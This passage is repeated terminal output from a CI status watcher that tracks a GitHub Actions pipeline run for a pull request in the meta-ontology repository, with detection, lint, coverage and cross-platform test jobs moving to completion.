changes\\n  * Post Run actions/checkout@v6\\n* Version Modification Check (ID 86613875700)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Install rust-script\\n  * Check for manual version changes\\n  * Post Run actions/checkout@v6\\n- Create Changelog PR (ID 86613875968)\\nRefreshing run status every 3 seconds. Press Ctrl+C to quit.\\n\\n* issue-5-e2602184e2c5 CI/CD Pipeline link-foundation/meta-ontology#6 \u00b7 29179259847\\nTriggered via pull_request less than a minute ago\\n\\nJOBS\\n* Detect Changes (ID 86613875688)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  * Install rust-script\\n  * Detect changes\\n  * Post Run actions/checkout@v6\\n* Version Modification Check (ID 86613875700)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Install rust-script\\n  * Check for manual version changes\\n  * Post Run actions/checkout@v6\\n- Create Changelog PR (ID 86613875968)\\nRefreshing run status every 3 seconds. Press Ctrl+C to quit.\\n\\n* issue-5-e2602184e2c5 CI/CD Pipeline link-foundation/meta-ontology#6 \u00b7 29179259847\\nTriggered via pull_request less than a minute ago\\n\\nJOBS\\n* Detect Changes (ID 86613875688)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Install rust-script\\n  * Detect changes\\n  * Post Run actions/checkout@v6\\n\u2713 Version Modification Check in 51s (ID 86613875700)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Install rust-script\\n  \u2713 Check for manual version changes\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n- Create Changelog PR (ID 86613875968)\\nRefreshing run status every 3 seconds. Press Ctrl+C to quit.\\n\\n* issue-5-e2602184e2c5 CI/CD Pipeline link-foundation/meta-ontology#6 \u00b7 29179259847\\nTriggered via pull_request about 1 minute ago\\n\\nJOBS\\n* Detect Changes (ID 86613875688)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Install rust-script\\n  * Detect changes\\n  * Post Run actions/checkout@v6\\n\u2713 Version Modification Check in 51s (ID 86613875700)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Install rust-script\\n  \u2713 Check for manual version changes\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n- Create Changelog PR (ID 86613875968)\\nRefreshing run status every 3 seconds. Press Ctrl+C to quit.\\n\\n* issue-5-e2602184e2c5 CI/CD Pipeline link-foundation/meta-ontology#6 \u00b7 29179259847\\nTriggered via pull_request about 1 minute ago\\n\\nJOBS\\n\u2713 Detect Changes in 58s (ID 86613875688)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Install rust-script\\n  \u2713 Detect changes\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n\u2713 Version Modification Check in 51s (ID 86613875700)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Install rust-script\\n  \u2713 Check for manual version changes\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n- Create Changelog PR (ID 86613875968)\\n* Ontology Word Coverage (ID 86613944298)\\n* Lint and Format Check (ID 86613944301)\\n* Test (ubuntu-latest) (ID 86613944392)\\n* Test (windows-latest) (ID 86613944394)\\n* Test (macos-latest) (ID 86613944467)\\n- Code Coverage in 0s (ID 86613944527)\\n- Changelog Fragment Check in 0s (ID 86613944609)\\nRefreshing run status every 3 seconds. Press Ctrl+C to quit.\\n\\n* issue-5-e2602184e2c5 CI/CD Pipeline link-foundation/meta-ontology#6 \u00b7 29179259847\\nTriggered via pull_request about 1 minute ago\\n\\nJOBS\\n\u2713 Detect Changes in 58s (ID 86613875688)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Install rust-script\\n  \u2713 Detect changes\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n\u2713 Version Modification Check in 51s (ID 86613875700)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Install rust-script\\n  \u2713 Check for manual version changes\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n- Create Changelog PR (ID 86613875968)\\n* Ontology Word Coverage (ID 86613944298)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  * Setup Rust\\n  * Cache cargo registry\\n  * Build CLI\\n  * Check word coverage of README.md\\n  * Post Run actions/checkout@v6\\n* Lint and Format Check (ID 86613944301)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  * Setup Rust\\n  * Install rust-script\\n  * Cache cargo registry\\n  * Check formatting\\n  * Run Clippy\\n  * Check file size limit\\n  * Post Run actions/checkout@v6\\n* Test (ubuntu-latest) (ID 86613944392)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  * Setup Rust\\n  * Cache cargo registry\\n  * Run tests\\n  * Run doc tests\\n  * Post Run actions/checkout@v6\\n* Test (windows-latest) (ID 86613944394)\\n  \u2713 Set up job\\n  * Run actions/checkout@v6\\n  * Setup Rust\\n  * Cache cargo registry\\n  * Run tests\\n  * Run doc tests\\n  * Post Run actions/checkout@v6\\n* Test (macos-latest) (ID 86613944467)\\n  \u2713 Set up job\\n  * Run actions/checkout@v6\\n  * Setup Rust\\n  * Cache cargo registry\\n  * Run tests\\n  * Run doc tests\\n  * Post Run actions/checkout@v6\\n- Code Coverage in 0s (ID 86613944527)\\n- Changelog Fragment Check in 0s (ID 86613944609)\\nRefreshing run status every 3 seconds. Press Ctrl+C to quit.\\n\\n* issue-5-e2602184e2c5 CI/CD Pipeline link-foundation/meta-ontology#6 \u00b7 29179259847\\nTriggered via pull_request about 1 minute ago\\n\\nJOBS\\n\u2713 Detect Changes in 58s (ID 86613875688)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Install rust-script\\n  \u2713 Detect changes\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n\u2713 Version Modification Check in 51s (ID 86613875700)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Install rust-script\\n  \u2713 Check for manual version changes\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n- Create Changelog PR (ID 86613875968)\\n* Ontology Word Coverage (ID 86613944298)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  * Setup Rust\\n  * Cache cargo registry\\n  * Build CLI\\n  * Check word coverage of README.md\\n  * Post Run actions/checkout@v6\\n* Lint and Format Check (ID 86613944301)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  * Setup Rust\\n  * Install rust-script\\n  * Cache cargo registry\\n  * Check formatting\\n  * Run Clippy\\n  * Check file size limit\\n  * Post Run actions/checkout@v6\\n* Test (ubuntu-latest) (ID 86613944392)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  * Setup Rust\\n  * Cache cargo registry\\n  * Run tests\\n  * Run doc tests\\n  * Post Run actions/checkout@v6\\n* Test (windows-latest) (ID 86613944394)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  * Setup Rust\\n  * Cache cargo registry\\n  * Run tests\\n  * Run doc tests\\n  * Post Run actions/checkout@v6\\n* Test (macos-latest) (ID 86613944467)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  * Setup Rust\\n  * Cache cargo registry\\n  * Run tests\\n  * Run doc tests\\n  * Post Run actions/checkout@v6\\n- Code Coverage in 0s (ID 86613944527)\\n- Changelog Fragment Check in 0s (ID 86613944609)\\nRefreshing run status every 3 seconds. Press Ctrl+C to quit.\\n\\n* issue-5-e2602184e2c5 CI/CD Pipeline link-foundation/meta-ontology#6 \u00b7 29179259847\\nTriggered via pull_request about 1 minute ago\\n\\nJOBS\\n\u2713 Detect Changes in 58s (ID 86613875688)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Install rust-script\\n  \u2713 Detect changes\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n\u2713 Version Modification Check in 51s (ID 86613875700)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Install rust-script\\n  \u2713 Check for manual version changes\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n- Create Changelog PR (ID 86613875968)\\n* Ontology Word Coverage (ID 86613944298)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  * Setup Rust\\n  * Cache cargo registry\\n  * Build CLI\\n  * Check word coverage of README.md\\n  * Post Run actions/checkout@v6\\n* Lint and Format Check (ID 86613944301)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  * Setup Rust\\n  * Install rust-script\\n  * Cache cargo registry\\n  * Check formatting\\n  * Run Clippy\\n  * Check file size limit\\n  * Post Run actions/checkout@v6\\n* Test (ubuntu-latest) (ID 86613944392)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  * Cache cargo registry\\n  * Run tests\\n  * Run doc tests\\n  * Post Cache cargo registry\\n  * Post Run actions/checkout@v6\\n* Test (windows-latest) (ID 86613944394)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  * Setup Rust\\n  * Cache cargo registry\\n  * Run tests\\n  * Run doc tests\\n  * Post Run actions/checkout@v6\\n* Test (macos-latest) (ID 86613944467)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  * Setup Rust\\n  * Cache cargo registry\\n  * Run tests\\n  * Run doc tests\\n  * Post Run actions/checkout@v6\\n- Code Coverage in 0s (ID 86613944527)\\n- Changelog Fragment Check in 0s (ID 86613944609)\\nRefreshing run status every 3 seconds. Press Ctrl+C to quit.\\n\\n* issue-5-e2602184e2c5 CI/CD Pipeline link-foundation/meta-ontology#6 \u00b7 29179259847\\nTriggered via pull_request about 1 minute ago\\n\\nJOBS\\n\u2713 Detect Changes in 58s (ID 86613875688)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Install rust-script\\n  \u2713 Detect changes\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n\u2713 Version Modification Check in 51s (ID 86613875700)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Install rust-script\\n  \u2713 Check for manual version changes\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n- Create Changelog PR (ID 86613875968)\\n* Ontology Word Coverage (ID 86613944298)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  * Build CLI\\n  * Check word coverage of README.md\\n  * Post Cache cargo registry\\n  * Post Run actions/checkout@v6\\n* Lint and Format Check (ID 86613944301)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  * Install rust-script\\n  * Cache cargo registry\\n  * Check formatting\\n  * Run Clippy\\n  * Check file size limit\\n  * Post Run actions/checkout@v6\\n* Test (ubuntu-latest) (ID 86613944392)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Run tests\\n  \u2713 Run doc tests\\n  \u2713 Post Cache cargo registry\\n  * Post Run actions/checkout@v6\\n* Test (windows-latest) (ID 86613944394)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  * Setup Rust\\n  * Cache cargo registry\\n  * Run tests\\n  * Run doc tests\\n  * Post Run actions/checkout@v6\\n* Test (macos-latest) (ID 86613944467)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  * Cache cargo registry\\n  * Run tests\\n  * Run doc tests\\n  * Post Cache cargo registry\\n  * Post Run actions/checkout@v6\\n- Code Coverage in 0s (ID 86613944527)\\n- Changelog Fragment Check in 0s (ID 86613944609)\\nRefreshing run status every 3 seconds. Press Ctrl+C to quit.\\n\\n* issue-5-e2602184e2c5 CI/CD Pipeline link-foundation/meta-ontology#6 \u00b7 29179259847\\nTriggered via pull_request about 1 minute ago\\n\\nJOBS\\n\u2713 Detect Changes in 58s (ID 86613875688)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Install rust-script\\n  \u2713 Detect changes\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n\u2713 Version Modification Check in 51s (ID 86613875700)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Install rust-script\\n  \u2713 Check for manual version changes\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n- Create Changelog PR (ID 86613875968)\\n* Ontology Word Coverage (ID 86613944298)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  * Build CLI\\n  * Check word coverage of README.md\\n  * Post Cache cargo registry\\n  * Post Run actions/checkout@v6\\n* Lint and Format Check (ID 86613944301)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  * Install rust-script\\n  * Cache cargo registry\\n  * Check formatting\\n  * Run Clippy\\n  * Check file size limit\\n  * Post Run actions/checkout@v6\\n\u2713 Test (ubuntu-latest) in 17s (ID 86613944392)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Run tests\\n  \u2713 Run doc tests\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n* Test (windows-latest) (ID 86613944394)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  * Setup Rust\\n  * Cache cargo registry\\n  * Run tests\\n  * Run doc tests\\n  * Post Run actions/checkout@v6\\n* Test (macos-latest) (ID 86613944467)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  * Run tests\\n  * Run doc tests\\n  * Post Cache cargo registry\\n  * Post Run actions/checkout@v6\\n- Code Coverage in 0s (ID 86613944527)\\n- Changelog Fragment Check in 0s (ID 86613944609)\\nRefreshing run status every 3 seconds. Press Ctrl+C to quit.\\n\\n* issue-5-e2602184e2c5 CI/CD Pipeline link-foundation/meta-ontology#6 \u00b7 29179259847\\nTriggered via pull_request about 1 minute ago\\n\\nJOBS\\n\u2713 Detect Changes in 58s (ID 86613875688)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Install rust-script\\n  \u2713 Detect changes\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n\u2713 Version Modification Check in 51s (ID 86613875700)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Install rust-script\\n  \u2713 Check for manual version changes\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n- Create Changelog PR (ID 86613875968)\\n* Ontology Word Coverage (ID 86613944298)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Build CLI\\n  \u2713 Check word coverage of README.md\\n  * Post Cache cargo registry\\n  * Post Run actions/checkout@v6\\n* Lint and Format Check (ID 86613944301)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  * Install rust-script\\n  * Cache cargo registry\\n  * Check formatting\\n  * Run Clippy\\n  * Check file size limit\\n  * Post Run actions/checkout@v6\\n\u2713 Test (ubuntu-latest) in 17s (ID 86613944392)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Run tests\\n  \u2713 Run doc tests\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n* Test (windows-latest) (ID 86613944394)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  * Setup Rust\\n  * Cache cargo registry\\n  * Run tests\\n  * Run doc tests\\n  * Post Run actions/checkout@v6\\n* Test (macos-latest) (ID 86613944467)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  * Run tests\\n  * Run doc tests\\n  * Post Cache cargo registry\\n  * Post Run actions/checkout@v6\\n- Code Coverage in 0s (ID 86613944527)\\n- Changelog Fragment Check in 0s (ID 86613944609)\\nRefreshing run status every 3 seconds. Press Ctrl+C to quit.\\n\\n* issue-5-e2602184e2c5 CI/CD Pipeline link-foundation/meta-ontology#6 \u00b7 29179259847\\nTriggered via pull_request about 1 minute ago\\n\\nJOBS\\n\u2713 Detect Changes in 58s (ID 86613875688)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Install rust-script\\n  \u2713 Detect changes\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n\u2713 Version Modification Check in 51s (ID 86613875700)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Install rust-script\\n  \u2713 Check for manual version changes\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n- Create Changelog PR (ID 86613875968)\\n* Ontology Word Coverage (ID 86613944298)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Build CLI\\n  \u2713 Check word coverage of README.md\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n* Lint and Format Check (ID 86613944301)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  * Install rust-script\\n  * Cache cargo registry\\n  * Check formatting\\n  * Run Clippy\\n  * Check file size limit\\n  * Post Run actions/checkout@v6\\n\u2713 Test (ubuntu-latest) in 17s (ID 86613944392)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Run tests\\n  \u2713 Run doc tests\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n* Test (windows-latest) (ID 86613944394)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  * Setup Rust\\n  * Cache cargo registry\\n  * Run tests\\n  * Run doc tests\\n  * Post Run actions/checkout@v6\\n* Test (macos-latest) (ID 86613944467)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Run tests\\n  \u2713 Run doc tests\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  * Complete job\\n- Code Coverage in 0s (ID 86613944527)\\n- Changelog Fragment Check in 0s (ID 86613944609)\\nRefreshing run status every 3 seconds. Press Ctrl+C to quit.\\n\\n* issue-5-e2602184e2c5 CI/CD Pipeline link-foundation/meta-ontology#6 \u00b7 29179259847\\nTriggered via pull_request about 1 minute ago\\n\\nJOBS\\n\u2713 Detect Changes in 58s (ID 86613875688)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Install rust-script\\n  \u2713 Detect changes\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n\u2713 Version Modification Check in 51s (ID 86613875700)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Install rust-script\\n  \u2713 Check for manual version changes\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n- Create Changelog PR (ID 86613875968)\\n\u2713 Ontology Word Coverage in 28s (ID 86613944298)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Build CLI\\n  \u2713 Check word coverage of README.md\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n* Lint and Format Check (ID 86613944301)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  * Install rust-script\\n  * Cache cargo registry\\n  * Check formatting\\n  * Run Clippy\\n  * Check file size limit\\n  * Post Run actions/checkout@v6\\n\u2713 Test (ubuntu-latest) in 17s (ID 86613944392)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Run tests\\n  \u2713 Run doc tests\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n* Test (windows-latest) (ID 86613944394)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  * Cache cargo registry\\n  * Run tests\\n  * Run doc tests\\n  * Post Cache cargo registry\\n  * Post Run actions/checkout@v6\\n\u2713 Test (macos-latest) in 29s (ID 86613944467)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Run tests\\n  \u2713 Run doc tests\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n- Code Coverage in 0s (ID 86613944527)\\n- Changelog Fragment Check in 0s (ID 86613944609)\\nRefreshing run status every 3 seconds. Press Ctrl+C to quit.\\n\\n* issue-5-e2602184e2c5 CI/CD Pipeline link-foundation/meta-ontology#6 \u00b7 29179259847\\nTriggered via pull_request about 1 minute ago\\n\\nJOBS\\n\u2713 Detect Changes in 58s (ID 86613875688)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Install rust-script\\n  \u2713 Detect changes\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n\u2713 Version Modification Check in 51s (ID 86613875700)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Install rust-script\\n  \u2713 Check for manual version changes\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n- Create Changelog PR (ID 86613875968)\\n\u2713 Ontology Word Coverage in 28s (ID 86613944298)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Build CLI\\n  \u2713 Check word coverage of README.md\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n* Lint and Format Check (ID 86613944301)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  * Install rust-script\\n  * Cache cargo registry\\n  * Check formatting\\n  * Run Clippy\\n  * Check file size limit\\n  * Post Run actions/checkout@v6\\n\u2713 Test (ubuntu-latest) in 17s (ID 86613944392)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Run tests\\n  \u2713 Run doc tests\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n* Test (windows-latest) (ID 86613944394)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  * Run tests\\n  * Run doc tests\\n  * Post Cache cargo registry\\n  * Post Run actions/checkout@v6\\n\u2713 Test (macos-latest) in 29s (ID 86613944467)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Run tests\\n  \u2713 Run doc tests\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n- Code Coverage in 0s (ID 86613944527)\\n- Changelog Fragment Check in 0s (ID 86613944609)\\nRefreshing run status every 3 seconds. Press Ctrl+C to quit.\\n\\n* issue-5-e2602184e2c5 CI/CD Pipeline link-foundation/meta-ontology#6 \u00b7 29179259847\\nTriggered via pull_request about 1 minute ago\\n\\nJOBS\\n\u2713 Detect Changes in 58s (ID 86613875688)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Install rust-script\\n  \u2713 Detect changes\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n\u2713 Version Modification Check in 51s (ID 86613875700)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Install rust-script\\n  \u2713 Check for manual version changes\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n- Create Changelog PR (ID 86613875968)\\n\u2713 Ontology Word Coverage in 28s (ID 86613944298)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Build CLI\\n  \u2713 Check word coverage of README.md\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n* Lint and Format Check (ID 86613944301)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  * Install rust-script\\n  * Cache cargo registry\\n  * Check formatting\\n  * Run Clippy\\n  * Check file size limit\\n  * Post Run actions/checkout@v6\\n\u2713 Test (ubuntu-latest) in 17s (ID 86613944392)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Run tests\\n  \u2713 Run doc tests\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n* Test (windows-latest) (ID 86613944394)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  * Run tests\\n  * Run doc tests\\n  * Post Cache cargo registry\\n  * Post Run actions/checkout@v6\\n\u2713 Test (macos-latest) in 29s (ID 86613944467)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Run tests\\n  \u2713 Run doc tests\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n- Code Coverage in 0s (ID 86613944527)\\n- Changelog Fragment Check in 0s (ID 86613944609)\\nRefreshing run status every 3 seconds. Press Ctrl+C to quit.\\n\\n* issue-5-e2602184e2c5 CI/CD Pipeline link-foundation/meta-ontology#6 \u00b7 29179259847\\nTriggered via pull_request about 1 minute ago\\n\\nJOBS\\n\u2713 Detect Changes in 58s (ID 86613875688)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Install rust-script\\n  \u2713 Detect changes\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n\u2713 Version Modification Check in 51s (ID 86613875700)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Install rust-script\\n  \u2713 Check for manual version changes\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n- Create Changelog PR (ID 86613875968)\\n\u2713 Ontology Word Coverage in 28s (ID 86613944298)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Build CLI\\n  \u2713 Check word coverage of README.md\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n* Lint and Format Check (ID 86613944301)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  * Install rust-script\\n  * Cache cargo registry\\n  * Check formatting\\n  * Run Clippy\\n  * Check file size limit\\n  * Post Run actions/checkout@v6\\n\u2713 Test (ubuntu-latest) in 17s (ID 86613944392)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Run tests\\n  \u2713 Run doc tests\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n* Test (windows-latest) (ID 86613944394)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  * Run tests\\n  * Run doc tests\\n  * Post Cache cargo registry\\n  * Post Run actions/checkout@v6\\n\u2713 Test (macos-latest) in 29s (ID 86613944467)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo 